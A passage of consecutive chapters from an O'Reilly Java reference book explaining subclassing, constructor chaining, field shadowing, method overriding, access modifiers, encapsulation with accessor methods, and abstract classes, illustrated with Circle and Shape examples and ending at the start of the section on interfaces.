The Circle defined earlier is a simple class that distinguishes circle objects only by their radii. Suppose, instead, that we want to represent circles that have both a size and a position. For example, a circle of radius 1.0 centered at point 0,0 in the Cartesian plane is different from the circle of radius 1.0 centered at point 1,2. To do this, we need a new class, which we'll call PlaneCircle. We'd like to add the ability to represent the position of a circle without losing any of the existing functionality of the Circle class. This is done by defining PlaneCircle as a subclass of Circle, so that PlaneCircle inherits the fields and methods of its superclass, Circle. The ability to add functionality to a class by subclassing, or extending, it is central to the object-oriented programming paradigm.

3.4.1. Extending a Class

Example 3-3 shows how we can implement PlaneCircle as a subclass of the Circle class.

Example 3-3. Extending the Circle Class

public class PlaneCircle extends Circle {
  // We automatically inherit the fields and methods of Circle,
  // so we only have to put the new stuff here.
  // New instance fields that store the center point of the circle
  public double cx, cy;

  // A new constructor method to initialize the new fields
  // It uses a special syntax to invoke the Circle() constructor
  public PlaneCircle(double r, double x, double y) {
    super(r);       // Invoke the constructor of the superclass, Circle()
    this.cx = x;    // Initialize the instance field cx
    this.cy = y;    // Initialize the instance field cy
  }

  // The area() and circumference() methods are inherited from Circle
  // A new instance method that checks whether a point is inside the circle
  // Note that it uses the inherited instance field r
  public boolean isInside(double x, double y) {
    double dx = x - cx, dy = y - cy;             // Distance from center
    double distance = Math.sqrt(dx*dx + dy*dy);  // Pythagorean theorem
    return (distance < r);                       // Returns true or false
  }
}

Note the use of the keyword extends in the first line of Example 3-3. This keyword tells Java that PlaneCircle extends, or subclasses, Circle, meaning that it inherits the fields and methods of that class.[2] The definition of the isInside() method shows field inheritance; this method uses the field r (defined by the Circle class) as if it were defined right in PlaneCircle itself. PlaneCircle also inherits the methods of Circle. Thus, if we have a PlaneCircle object referenced by variable pc, we can say:

[2]C++ programmers should note that extends is the Java equivalent of : in C++; both are used to indicate the superclass of a class.

double ratio = pc.circumference() / pc.area();

This works just as if the area() and circumference() methods were defined in PlaneCircle itself.

Another feature of subclassing is that every PlaneCircle object is also a perfectly legal Circle object. Thus, if pc refers to a PlaneCircle object, we can assign it to a Circle variable and forget all about its extra positioning capabilities:

PlaneCircle pc = new PlaneCircle(1.0, 0.0, 0.0);  // Unit circle at the origin
Circle c = pc;     // Assigned to a Circle variable without casting

This assignment of a PlaneCircle object to a Circle variable can be done without a cast. As we discussed in Chapter 2, "Java Syntax from the Ground Up", this is a widening conversion and is always legal. The value held in the Circle variable c is still a valid PlaneCircle object, but the compiler cannot know this for sure, so it doesn't allow us to do the opposite (narrowing) conversion without a cast:

// Narrowing conversions require a cast (and a runtime check by the VM)
PlaneCircle pc2 = (PlaneCircle) c;
boolean origininside = ((PlaneCircle) c).isInside(0.0, 0.0);

3.4.1.1. Final classes

When a class is declared with the final modifier, it means that it cannot be extended or subclassed. java.lang.System is an example of a final class. Declaring a class final prevents unwanted extensions to the class, and it also allows the compiler to make some optimizations when invoking the methods of a class. We'll explore this in more detail later in this chapter, when we talk about method overriding.

3.4.2. Superclasses, Object, and the Class Hierarchy

In our example, PlaneCircle is a subclass of Circle. We can also say that Circle is the superclass of PlaneCircle. The superclass of a class is specified in its extends clause:

public class PlaneCircle extends Circle { ... }

Every class you define has a superclass. If you do not specify the superclass with an extends clause, the superclass is the class java.lang.Object. Object is a special class for a couple of reasons:

  • It is the only class in Java that does not have a superclass.

  • All Java classes inherit the methods of Object.

Because every class has a superclass, classes in Java form a class hierarchy, which can be represented as a tree with Object at its root. Figure 3-1 shows a class hierarchy diagram that includes our Circle and PlaneCircle classes, as well as some of the standard classes from the Java API. Every API quick-reference chapter in Part 2, "API Quick Reference" includes a class-hierarchy diagram for the classes it documents.

Figure 3-1. A class hierarchy diagram

3.4.3. Subclass Constructors

Look again at the PlaneCircle() constructor method of Example 3-3:

public PlaneCircle(double r, double x, double y) {
  super(r);       // Invoke the constructor of the superclass, Circle()
  this.cx = x;    // Initialize the instance field cx
  this.cy = y;    // Initialize the instance field cy
}

This constructor explicitly initializes the cx and cy fields newly defined by PlaneCircle, but it relies on the superclass Circle() constructor to initialize the inherited fields of the class. To invoke the superclass constructor, our constructor calls super(). super is a reserved word in Java. One of its uses is to invoke the constructor method of a superclass from within the constructor method of a subclass. This use is analogous to the use of this() to invoke one constructor method of a class from within another constructor method of the same class. Using super() to invoke a constructor is subject to the same restrictions as using this() to invoke a constructor:

  • super() can be used in this way only within a constructor method.

  • The call to the superclass constructor must appear as the first statement within the constructor method, even before local variable declarations.

The arguments passed to super() must match the parameters of the superclass constructor. If the superclass defines more than one constructor, super() can be used to invoke any one of them, depending on the arguments passed.

3.4.4. Constructor Chaining and the Default Constructor

Java guarantees that the constructor method of a class is called whenever an instance of that class is created. It also guarantees that the constructor is called whenever an instance of any subclass is created. In order to guarantee this second point, Java must ensure that every constructor method calls its superclass constructor method. Thus, if the first statement in a constructor does not explicitly invoke another constructor with this() or super(), Java implicitly inserts the call super(); that is, it calls the superclass constructor with no arguments. If the superclass does not have a constructor that takes no arguments, this implicit invocation causes a compilation error.

Consider what happens when we create a new instance of the PlaneCircle class. First, the PlaneCircle constructor is invoked. This constructor explicitly calls super(r) to invoke a Circle constructor, and that Circle() constructor implicitly calls super() to invoke the constructor of its superclass, Object. The body of the Object constructor runs first. When it returns, the body of the Circle() constructor runs. Finally, when the call to super(r) returns, the remaining statements of the PlaneCircle() constructor are executed.

What all this means is that constructor calls are chained; any time an object is created, a sequence of constructor methods is invoked, from subclass to superclass on up to Object at the root of the class hierarchy. Because a superclass constructor is always invoked as the first statement of its subclass constructor, the body of the Object constructor always runs first, followed by the constructor of its subclass and on down the class hierarchy to the class that is being instantiated. There is an important implication here; when a constructor is invoked, it can count on the fields of its superclass to be initialized.

3.4.4.1. The default constructor

There is one missing piece in the previous description of constructor chaining. If a constructor does not invoke a superclass constructor, Java does so implicitly. But what if a class is declared without a constructor? In this case, Java implicitly adds a constructor to the class. This default constructor does nothing but invoke the superclass constructor. For example, if we don't declare a constructor for the PlaneCircle class, Java implicitly inserts this constructor:

public PlaneCircle() { super(); }

If the superclass, Circle, doesn't declare a no-argument constructor, the super() call in this automatically inserted default constructor for PlaneCircle() causes a compilation error. In general, if a class does not define a no-argument constructor, all its subclasses must define constructors that explicitly invoke the superclass constructor with the necessary arguments.

If a class does not declare any constructors, it is given a no-argument constructor by default. Classes declared public are given public constructors. All other classes are given a default constructor that is declared without any visibility modifier: such a constructor has default visibility. (The notion of visibility is explained later in this chapter.) If you are creating a public class that should not be publicly instantiated, you should declare at least one non-public constructor to prevent the insertion of a default public constructor. Classes that should never be instantiated (such as java.lang.Math or java.lang.System) should define a private constructor. Such a constructor can never be invoked from outside of the class, but it prevents the automatic insertion of the default constructor.

3.4.4.2. Finalizer chaining?

You might assume that, since Java chains constructor methods, it also automatically chains the finalizer methods for an object. In other words, you might assume that the finalizer method of a class automatically invokes the finalizer of its superclass, and so on. In fact, Java does not do this. When you write a finalize() method, you must explicitly invoke the superclass finalizer. (You should do this even if you know that the superclass does not have a finalizer because a future implementation of the superclass might add a finalizer.)

As we saw in our example finalizer earlier in the chapter, you can invoke a superclass method with a special syntax that uses the super keyword:

// Invoke the finalizer of our superclass. super.finalize();

We'll discuss this syntax in more detail when we consider method overriding. In practice, the need for finalizer methods, and thus finalizer chaining, rarely arises.

3.4.5. Shadowing Superclass Fields

For the sake of example, imagine that our PlaneCircle class needs to know the distance between the center of the circle and the origin (0,0). We can add another instance field to hold this value:

public double r;

Adding the following line to the constructor computes the value of the field:

this.r = Math.sqrt(cx*cx + cy*cy);  // Pythagorean Theorem

But wait, this new field r has the same name as the radius field r in the Circle superclass. When this happens, we say that the field r of PlaneCircle shadows the field r of Circle. (This is a contrived example, of course: the new field should really be called distanceFromOrigin. Although you should attempt to avoid it, subclass fields do sometimes shadow fields of their superclass.)

With this new definition of PlaneCircle, the expressions r and this.r both refer to the field of PlaneCircle. How, then, can we refer to the field r of Circle that holds the radius of the circle? There is a special syntax for this that uses the super keyword:

r        // Refers to the PlaneCircle field
this.r   // Refers to the PlaneCircle field
super.r  // Refers to the Circle field

Another way to refer to a shadowed field is to cast this (or any instance of the class) to the appropriate superclass and then access the field:

((Circle) this).r   // Refers to field r of the Circle class

This casting technique is particularly useful when you need to refer to a shadowed field defined in a class that is not the immediate superclass. Suppose, for example, that classes A, B, and C all define a field named x and that C is a subclass of B, which is a subclass of A. Then, in the methods of class C, you can refer to these different fields as follows:

x                // Field x in class C
this.x           // Field x in class C
super.x          // Field x in class B
((B)this).x      // Field x in class B
((A)this).x      // Field x in class A
super.super.x    // Illegal; does not refer to x in class A

You cannot refer to a shadowed field x in the superclass of a superclass with super.super.x. This is not legal syntax.

Similarly, if you have an instance c of class C, you can refer to the three fields named x like this:

c.x              // Field x of class C
((B)c).x         // Field x of class B
((A)c).x         // Field x of class A

So far, we've been discussing instance fields. Class fields can also be shadowed. You can use the same super syntax to refer to the shadowed value of the field, but this is never necessary since you can always refer to a class field by prepending the name of the desired class. Suppose that the implementer of PlaneCircle decides that the Circle.PI field does not express π to enough decimal places. She can define her own class field PI:

public static final double PI = 3.14159265358979323846;

Now, code in PlaneCircle can use this more accurate value with the expressions PI or PlaneCircle.PI. It can also refer to the old, less accurate value with the expressions super.PI and Circle.PI. Note, however, that the area() and circumference() methods inherited by PlaneCircle are defined in the Circle class, so they use the value Circle.PI, even though that value is shadowed now by PlaneCircle.PI.

3.4.6. Overriding Superclass Methods

When a class defines an instance method using the same name, return type, and parameters as a method in its superclass, that method overrides the method of the superclass. When the method is invoked for an object of the class, it is the new definition of the method that is called, not the superclass's old definition.

Method overriding is an important and useful technique in object-oriented programming. PlaneCircle does not override either of the methods defined by Circle, but suppose we define another subclass of Circle, named Ellipse.[3] In this case, it is important for Ellipse to override the area() and circumference() methods of Circle, since the formulas used to compute the area and circumference of a circle do not work for ellipses.

[3]Mathematical purists may argue that since all circles are ellipses, Ellipse should be the superclass and Circle the subclass. A pragmatic engineer might counterargue that circles can be represented with fewer instance fields, so Circle objects should not be burdened by inheriting unnecessary fields from Ellipse. In any case, this is a useful example here.

The upcoming discussion of method overriding considers only instance methods. Class methods behave quite differently, and there isn't much to say. Like fields, class methods can be shadowed by a subclass, but not overridden. As I noted earlier in this chapter, it is good programming style to always prefix a class method invocation with the name of the class in which it is defined. If you consider the class name part of the class method name, the two methods have different names, so nothing is actually shadowed at all. It is, however, illegal for a class method to shadow an instance method.

Before we go any further with the discussion of method overriding, you need to be sure you understand the difference between method overriding and method overloading. As we discussed in Chapter 2, "Java Syntax from the Ground Up", method overloading refers to the practice of defining multiple methods (in the same class) that have the same name, but different parameter lists. This is very different from method overriding, so don't get them confused.

3.4.6.1. Overriding is not shadowing

Although Java treats the fields and methods of a class analogously in many ways, method overriding is not like field shadowing at all. You can refer to shadowed fields simply by casting an object to an instance of the appropriate superclass, but you cannot invoke overridden instance methods with this technique. The following code illustrates this crucial difference:

class A {                          // Define a class named A
  int i = 1;                       // An instance field
  int f() { return i; }            // An instance method
  static char g() { return 'A'; }  // A class method
}

class B extends A {                // Define a subclass of A
  int i = 2;                       // Shadows field i in class A
  int f() { return -i; }           // Overrides instance method f in class A
  static char g() { return 'B'; }  // Shadows class method g() in class A
}

public class OverrideTest {
  public static void main(String args[]) {
    B b = new B();               // Creates a new object of type B
    System.out.println(b.i);     // Refers to B.i; prints 2
    System.out.println(b.f());   // Refers to B.f(); prints -2
    System.out.println(b.g());   // Refers to B.g(); prints B
    System.out.println(B.g());   // This is a better way to invoke B.g()

    A a = (A) b;                 // Casts b to an instance of class A
    System.out.println(a.i);     // Now refers to A.i; prints 1
    System.out.println(a.f());   // Still refers to B.f(); prints -2
    System.out.println(a.g());   // Refers to A.g(); prints A
    System.out.println(A.g());   // This is a better way to invoke A.g()
  }
}

While this difference between method overriding and field shadowing may seem surprising at first, a little thought makes the purpose clear. Suppose we have a bunch of Circle and Ellipse objects we are manipulating. To keep track of the circles and ellipses, we store them in an array of type Circle[]. (We can do this because Ellipse is a subclass of Circle, so all Ellipse objects are legal Circle objects.) When we loop through the elements of this array, we don't have to know or care whether the element is actually a Circle or an Ellipse. What we do care about very much, however, is that the correct value is computed when we invoke the area() method of any element of the array. In other words, we don't want to use the formula for the area of a circle when the object is actually an ellipse! Seen in this context, it is not surprising at all that method overriding is handled differently by Java than field shadowing.

3.4.6.2. Dynamic method lookup

If we have a Circle[] array that holds Circle and Ellipse objects, how does the compiler know whether to call the area() method of the Circle class or the Ellipse class for any given item in the array? In fact, the compiler does not know this because it cannot know it. The compiler knows that it does not know, however, and produces code that uses dynamic method lookup at runtime. When the interpreter runs the code, it looks up the appropriate area() method to call for each of the objects in the array. That is, when the interpreter interprets the expression o.area(), it checks the actual type of the object referred to by the variable o and then finds the area() method that is appropriate for that type. It does not simply use the area() method that is statically associated with the type of the variable o. This process of dynamic method lookup is sometimes also called virtual method invocation.[4]

[4] C++ programmers should note that dynamic method lookup is what C++ does for virtual functions. An important difference between Java and C++ is that Java does not have a virtual keyword. In Java, methods are virtual by default.

3.4.6.3. Final methods and static method lookup

Virtual method invocation is fast, but method invocation is faster when no dynamic lookup is necessary at runtime. Fortunately, there are a number of situations in which Java does not need to use dynamic method lookup. In particular, if a method is declared with the final modifier, it means that the method definition is the final one; it cannot be overridden by any subclasses. If a method cannot be overridden, the compiler knows that there is only one version of the method, and dynamic method lookup is not necessary.[5] In addition, all methods of a final class are themselves implicitly final and cannot be overridden. As we'll discuss later in this chapter, private methods are not inherited by subclasses and, therefore, cannot be overridden (i.e., all private methods are implicitly final). Finally, class methods behave like fields (i.e., they can be shadowed by subclasses but not overridden). Taken together, this means that all methods of a class that is declared final, as well as all methods that are final, private, or static, are invoked without dynamic method lookup. These methods are also candidates for inlining at runtime by a just-in-time compiler ( JIT) or similar optimization tool.

[5]In this sense, the final modifier is the opposite of the virtual modifier in C++. All non-final methods in Java are virtual.

3.4.6.4. Invoking an overridden method

We've seen the important differences between method overriding and field shadowing. Nevertheless, the Java syntax for invoking an overridden method is quite similar to the syntax for accessing a shadowed field: both use the super keyword. The following code illustrates:

class A {
  int i = 1;                // An instance field shadowed by subclass B
  int f() { return i; }     // An instance method overridden by subclass B
}
class B extends A {
  int i;                    // This field shadows i in A
  int f() {                 // This method overrides f() in A
    i = super.i + 1;        // It can retrieve A.i like this
    return super.f() + i;   // It can invoke A.f() like this
  }
}

Recall that when you use super to refer to a shadowed field, it is the same as casting this to the superclass type and accessing the field through that. Using super to invoke an overridden method, however, is not the same as casting this. In other words, in the previous code, the expression super.f() is not the same as ((A)this).f().

When the interpreter invokes an instance method with this super syntax, a modified form of dynamic method lookup is performed. The first step, as in regular dynamic method lookup, is to determine the actual class of the object through which the method is invoked. Normally, the dynamic search for an appropriate method definition would begin with this class. When a method is invoked with the super syntax, however, the search begins at the superclass of the class. If the superclass implements the method directly, that version of the method is invoked. If the superclass inherits the method, the inherited version of the method is invoked.

Note that the super keyword invokes the most immediately overridden version of a method. Suppose class A has a subclass B that has a subclass C, and all three classes define the same method f(). Then the method C.f() can invoke the method B.f(), which it overrides directly, with super.f(). But there is no way for C.f() to invoke A.f() directly: super.super.f() is not legal Java syntax. Of course, if C.f() invokes B.f(), it is reasonable to suppose that B.f() might also invoke A.f(). This kind of chaining is relatively common when working with overridden methods: it is a way of augmenting the behavior of a method without replacing the method entirely. We saw this technique in the the example finalize() method shown earlier in the chapter: that method invoked super.finalize() to run its superclass finalization method.

Don't confuse the use of super to invoke an overridden method with the super() method call used in constructor methods to invoke a superclass constructor. Although they both use the same keyword, these are two entirely different syntaxes. In particular, you can use super to invoke an overridden method anywhere in the overriding method, while you can use super() only to invoke a superclass constructor as the very first statement of a constructor.

It is also important to remember that super can be used only to invoke an overridden method from within the method that overrides it. Given an Ellipse object e, there is no way for a program that uses an object (with or without the super syntax) to invoke the area() method defined by the Circle class on this object.

I've already explained that class methods can shadow class methods in superclasses, but cannot override them. The preferred way to invoke class methods is to include the name of the class in the invocation. If you do not do this, however, you can use the super syntax to invoke a shadowed class method, just as you would invoke an instance method or refer to a shadowed field.

Previous | Home | Next
3.3. Destroying and Finalizing Objects | Book Index | 3.5. Data Hiding and Encapsulation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Hiding and Encapsulation (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.5. Data Hiding and Encapsulation

We started this chapter by describing a class as "a collection of data and methods." One of the important object-oriented techniques we haven't discussed so far is hiding the data within the class and making it available only through the methods. This technique is known as encapsulation because it seals the data (and internal methods) safely inside the "capsule" of the class, where it can be accessed only by trusted users (i.e., by the methods of the class).

Why would you want to do this? The most important reason is to hide the internal implementation details of your class. If you prevent programmers from relying on those details, you can safely modify the implementation without worrying that you will break existing code that uses the class.

Another reason for encapsulation is to protect your class against accidental or willful stupidity. A class often contains a number of interdependent fields that must be in a consistent state. If you allow a programmer (including yourself) to manipulate those fields directly, he may change one field without changing important related fields, thus leaving the class in an inconsistent state. If, instead, he has to call a method to change the field, that method can be sure to do everything necessary to keep the state consistent. Similarly, if a class defines certain methods for internal use only, hiding these methods prevents users of the class from calling them.

Here's another way to think about encapsulation: when all the data for a class is hidden, the methods define the only possible operations that can be performed on objects of that class. Once you have carefully tested and debugged your methods, you can be confident that the class will work as expected. On the other hand, if all the fields of the class can be directly manipulated, the number of possibilities you have to test becomes unmanageable.

There are other reasons to hide fields and methods of a class, as well:

  • Internal fields and methods that are visible outside the class just clutter up the API. Keeping visible fields to a minimum keeps your class tidy and therefore easier to use and understand.

  • If a field or method is visible to the users of your class, you have to document it. Save yourself time and effort by hiding it instead.

3.5.1. Access Control

All the fields and methods of a class can always be used within the body of the class itself. Java defines access control rules that restrict members of a class from being used outside the class. In an number of examples in this chapter, you've seen the public modifier used in field and method declarations. This public keyword, along with protected and private, are accesscontrolmodifiers ; they specify the access rules for the field or method.

3.5.1.1. Access to packages

A package is always accessible to code defined within the package. Whether it is accessible to code from other packages depends on the way the package is deployed on the host system. When the class files that comprise a package are stored in a directory, for example, a user must have read access to the directory and the files within it in order to have access to the package. Package access is not part of the Java language itself. Access control is usually done at the level of classes and members of classes instead.

3.5.1.2. Access to classes

By default, top-level classes are accessible within the package in which they are defined. However, if a top-level class is declared public, it is accessible everywhere (or everywhere that the package itself is accessible). The reason that we've restricted these statements to top-level classes is that, as we'll see later in this chapter, classes can also be defined as members of other classes. Because these inner classes are members of a class, they obey the member access-control rules.

3.5.1.3. Access to members

As I've already said, the members of a class are always accessible within the body of the class. By default, members are also accessible throughout the package in which the class is defined. This implies that classes placed in the same package should trust each other with their internal implementation details.[6] This default level of access is often called packageaccess. It is only one of four possible levels of access. The other three levels of access are defined by the public, protected, and private modifiers. Here is some example code that uses these modifiers:

[6]C++ programmers might say that all classes within a package are friend-ly to each other.

public class Laundromat {      // People can use this class.
  private Laundry[] dirty;     // They cannot use this internal field,
  public void wash() { ... }   // but they can use these public methods
  public void dry() { ... }    // to manipulate the internal field.
}

Here are the access rules that apply to members of a class:

  • If a member of a class is declared with the public modifier, it means that the member is accessible anywhere the containing class is accessible. This is the least restrictive type of access control.

  • If a member of a class is declared private, the member is never accessible, except within the class itself. This is the most restrictive type of access control.

  • If a member of a class is declared protected, it is accessible to all classes within the package (the same as the default package accessibility) and also accessible within the body of any subclass of the class, regardless of the package in which that subclass is defined. This is more restrictive than public access, but less restrictive than package access.

  • If a member of a class is not declared with any of these modifiers, it has the default package access: it is accessible to code within all classes that are defined in the same package, but inaccessible outside of the package.

protected access requires a little more elaboration. Suppose that the field r of our Circle class had been declared protected and that our PlaneCircle class had been defined in a different package. In this case, every PlaneCircle object inherits the field r, and the PlaneCircle code can use that field as it currently does. Now suppose that PlaneCircle defines the following method to compare the size of a PlaneCircle object to the size of some other Circle object:

// Return true if this object is bigger than the specified circle
public boolean isBigger(Circle c) {
  return (this.r > c.r);  // If r is protected, c.r is illegal access!
}

In this scenario, this method does not compile. The expression this.r is perfectly legal, since it accesses a protected field inherited by PlaneCircle. Accessing c.r is not legal, however, since it is attempting to access a protected field it does not inherit. To make this method legal, we either have to declare PlaneCircle in the same package as Circle or change the type of the isBigger() parameter to be a PlaneCircle instead of a Circle.

3.5.1.4. Access control and inheritance

The Java specification states that a subclass inherits all the instance fields and instance methods of its superclass accessible to it. If the subclass is defined in the same package as the superclass, it inherits all non-private instance fields and methods. If the subclass is defined in a different package, however, it inherits all protected and public instance fields and methods. private fields and methods are never inherited; neither are class fields or class methods. Finally, constructors are not inherited; they are chained, as described earlier in this chapter.

The statement that a subclass does not inherit the inaccessible fields and methods of its superclass can be a confusing one. It would seem to imply that when you create an instance of a subclass, no memory is allocated for any private fields defined by the superclass. This is not the intent of the statement, however. Every instance of a subclass does, in fact, include a complete instance of the superclass within it, including all inaccessible fields and methods. It is simply a matter of terminology. Because the inaccessible fields cannot be used in the subclass, we say they are not inherited. I stated earlier in this section that the members of a class are always accessible within the body of the class. If this statement is to apply to all members of the class, including inherited members, then we have to define "inherited members" to include only those members that are accessible. If you don't care for this definition, you can think of it this way instead:

  • A class inherits all instance fields and instance methods (but not constructors) of its superclass.

  • The body of a class can always access all the fields and methods it declares itself. It can also access the accessible fields and members it inherits from its superclass.

3.5.1.5. Member access summary

Table 3-1 summarizes the member access rules.

Table 3-1. Class Member Accessibility

 | Member Visibility
Accessible to: | public | protected | package | private
Defining class | Yes | Yes | Yes | Yes
Class in same package | Yes | Yes | Yes | No
Subclass in different package | Yes | Yes | No | No
Non-subclass different package | Yes | No | No | No

Here are some simple rules of thumb for using visibility modifiers:

  • Use public only for methods and constants that form part of the public API of the class. Certain important or frequently used fields can also be public, but it is common practice to make fields non-public and encapsulate them with public accessor methods.

  • Use protected for fields and methods that aren't required by most programmers using the class, but that may be of interest to anyone creating a subclass as part of a different package. Note that protected members are technically part of the exported API of a class. They should be documented and cannot be changed without potentially breaking code that relies on them.

  • Use the default package visibility for fields and methods that are internal implementation details, but are used by cooperating classes in the same package. You cannot take real advantage of package visibility unless you use the package directive to group your cooperating classes into a package.

  • Use private for fields and methods that are used only inside the class and should be hidden everywhere else.

If you are not sure whether to use protected, package, or private accessibility, it is better to start with overly restrictive member access. You can always relax the access restrictions in future versions of your class, if necessary. Doing the reverse is not a good idea because increasing access restrictions is not a backwards-compatible change.

3.5.2. Data Accessor Methods

In the Circle example we've been using, we've declared the circle radius to be a public field. The Circle class is one in which it may well be reasonable to keep that field publicly accessible; it is a simple enough class, with no dependencies between its fields. On the other hand, our current implementation of the class allows a Circle object to have a negative radius, and circles with negative radii should simply not exist. As long as the radius is stored in a public field, however, any programmer can set the field to any value she wants, no matter how unreasonable. The only solution is to restrict the programmer's direct access to the field and define public methods that provide indirect access to the field. Providing public methods to read and write a field is not the same as making the field itself public. The crucial difference is that methods can perform error checking.

Example 3-4 shows how we might reimplement Circle to prevent circles with negative radii. This version of Circle declares the r field to be protected and defines accessor methods named getRadius() and setRadius() to read and write the field value while enforcing the restriction on negative radius values. Because the r field is protected, it is directly (and more efficiently) accessible to subclasses.

Example 3-4. The Circle Class Using Data Hiding and Encapsulation

package shapes;           // Specify a package for the class

public class Circle {     // The class is still public
  // This is a generally useful constant, so we keep it public
  public static final double PI = 3.14159;

  protected double r;     // Radius is hidden, but visible to subclasses

  // A method to enforce the restriction on the radius
  // This is an implementation detail that may be of interest to subclasses
  protected checkRadius(double radius) {
    if (radius < 0.0)
      throw new IllegalArgumentException("radius may not be negative.");
  }

  // The constructor method
  public Circle(double r) {
    checkRadius(r);
    this.r = r;
  }

  // Public data accessor methods
  public double getRadius() { return r; };
  public void setRadius(double r) {
    checkRadius(r);
    this.r = r;
  }

  // Methods to operate on the instance field
  public double area() { return PI * r * r; }
  public double circumference() { return 2 * PI * r; }
}

We have defined the Circle class within a package named shapes. Since r is protected, any other classes in the shapes package have direct access to that field and can set it however they like. The assumption here is that all classes within the shapes package were written by the same author or a closely cooperating group of authors, and that the classes all trust each other not to abuse their privileged level of access to each other's implementation details.

Finally, the code that enforces the restriction against negative radius values is itself placed within a protected method, checkRadius(). Although users of the Circle class cannot call this method, subclasses of the class can call it and even override it if they want to change the restrictions on the radius.

Note particularly the getRadius() and setRadius() methods of Example 3-4. It is almost universal in Java that data accessor methods begin with the prefixes "get" and "set." If the field being accessed is of type boolean, however, the get() method may be replaced with an equivalent method that begins with "is." For example, the accessor method for a boolean field named readable is typically called isReadable() instead of getReadable(). In the programming conventions of the JavaBeans component model (covered in Chapter 6, "JavaBeans"), a hidden field with one or more data accessor methods whose names begin with "get," "is," or "set" is called a property. An interesting way to study a complex class is to look at the set of properties it defines. Properties are particularly common in the AWT and Swing APIs, which are covered in Java Foundation Classes in a Nutshell (O'Reilly).

Previous | Home | Next
3.4. Subclasses and Inheritance | Book Index | 3.6. Abstract Classes and Methods
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Abstract Classes and Methods (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.6. Abstract Classes and Methods

In Example 3-4, we declared our Circle class to be part of a package named shapes. Suppose we plan to implement a number of shape classes: Rectangle, Square, Ellipse, Triangle, and so on. We can give these shape classes our two basic area() and circumference() methods. Now, to make it easy to work with an array of shapes, it would be helpful if all our shape classes had a common superclass, Shape. If we structure our class hierarchy this way, every shape object, regardless of the actual type of shape it represents, can be assigned to variables, fields, or array elements of type Shape. We want the Shape class to encapsulate whatever features all our shapes have in common (e.g., the area() and circumference() methods). But our generic Shape class doesn't represent any real kind of shape, so it cannot define useful implementations of the methods. Java handles this situation with abstract methods.

Java lets us define a method without implementing it by declaring the method with the abstract modifier. An abstract method has no body; it simply has a signature definition followed by a semicolon.[7] Here are the rules about abstract methods and the abstract classes that contain them:

[7] An abstract method in Java is something like a pure virtual function in C++ (i.e., a virtual function that is declared = 0). In C++, a class that contains a pure virtual function is called an abstract class and cannot be instantiated. The same is true of Java classes that contain abstract methods.

  • Any class with an abstract method is automatically abstract itself and must be declared as such.

  • An abstract class cannot be instantiated.

  • A subclass of an abstract class can be instantiated only if it overrides each of the abstract methods of its superclass and provides an implementation (i.e., a method body) for all of them. Such a class is often called a concrete subclass, to emphasize the fact that it is not abstract.

  • If a subclass of an abstract class does not implement all the abstract methods it inherits, that subclass is itself abstract.

  • static, private, and final methods cannot be abstract, since these types of methods cannot be overridden by a subclass. Similarly, a final class cannot contain any abstract methods.

  • A class can be declared abstract even if it does not actually have any abstract methods. Declaring such a class abstract indicates that the implementation is somehow incomplete and is meant to serve as a superclass for one or more subclasses that will complete the implementation. Such a class cannot be instantiated.

There is an important feature of the rules of abstract methods. If we define the Shape class to have abstractarea() and circumference() methods, any subclass of Shape is required to provide implementations of these methods so it can be instantiated. In other words, every Shape object is guaranteed to have implementations of these methods defined. Example 3-5 shows how this might work. It defines an abstractShape class and two concrete subclasses of it.

Example 3-5. An Abstract Class and Concrete Subclasses

public abstract class Shape {
  public abstract double area();            // Abstract methods: note
  public abstract double circumference();   // semicolon instead of body.
}

class Circle extends Shape {
  public static final double PI = 3.14159265358979323846;
  protected double r;                              // Instance data
  public Circle(double r) { this.r = r; }          // Constructor
  public double getRadius() { return r; }          // Accessor
  public double area() { return PI*r*r; }          // Implementations of
  public double circumference() { return 2*PI*r; } // abstract methods.
}

class Rectangle extends Shape {
  protected double w, h;                               // Instance data
  public Rectangle(double w, double h) {               // Constructor
    this.w = w;  this.h = h;
  }
  public double getWidth() { return w; }               // Accessor method
  public double getHeight() { return h; }              // Another accessor
  public double area() { return w*h; }                 // Implementations of
  public double circumference() { return 2*(w + h); }  // abstract methods.
}

Each abstract method in Shape has a semicolon right after its parentheses. There are no curly braces, and no method body is defined. Using the classes defined in Example 3-5, we can now write code like this:

Shape[] shapes = new Shape[3];          // Create an array to hold shapes
shapes[0] = new Circle(2.0);            // Fill in the array
shapes[1] = new Rectangle(1.0, 3.0);
shapes[2] = new Rectangle(4.0, 2.0);

double total_area = 0;
for(int i = 0; i < shapes.length; i++)
    total_area += shapes[i].area();     // Compute the area of the shapes

There are two important points to notice here:

  • Subclasses of Shape can be assigned to elements of an array of Shape. No cast is necessary. This is another example of a widening reference type conversion (discussed in Chapter 2, "Java Syntax from the Ground Up").

  • You can invoke the area() and circumference() methods for any Shape object, even though the Shape class does not define a body for these methods. When you do this, the method to be invoked is found using dynamic method lookup, so the area of a circle is computed using the method defined by Circle, and the area of a rectangle is computed using the method defined by Rectangle.

Previous | Home | Next
3.5. Data Hiding and Encapsulation | Book Index | 3.7. Interfaces
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Interfaces (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.7. Interfaces

Let's extend our shapes package further. Suppose we now want to implement a number of shapes that not only know their sizes, but also know the position of their center point in the Cartesian coordinate plane. One way to do this is to define an abstract CenteredShape class and then implement various subclasses of it, such as CenteredCircle, CenteredRectangle, and so on.

But we also want these positionable shape classes to support the area() and circumference() methods we've already defined, without reimplementing these methods. So, for example, we'd like to define CenteredCircle as a subclass of Circle, so that it inherits area() and circumference(). But a class in Java can have only one immediate superclass. If CenteredCircle extends Circle, it cannot also extend the abstractCenteredShape class![8]

[8]C++ allows classes to have more than one superclass, using a technique known as multiple inheritance. Multiple inheritance adds a lot of complexity to a language; Java supports what many believe is a more elegant solution.

Java's solution to this problem is called an interface. Although a Java class can extend only a single superclass, it can implement any number of interfaces.

3.7.1. Defining an Interface

An interface is a reference type that is closely related to a class. Almost everything you've read so far in this book about classes applies equally to interfaces. Defining an interface is a lot like defining an abstract class, except that the keywords abstract and class are replaced with the keyword interface. When you define an interface, you are creating a new reference type, just as you are when you define a class. As its name implies, an interface specifies an interface, or API, for certain functionality. It does not define any implementation of that API, however. There are a number of restrictions that apply to the members of an interface:

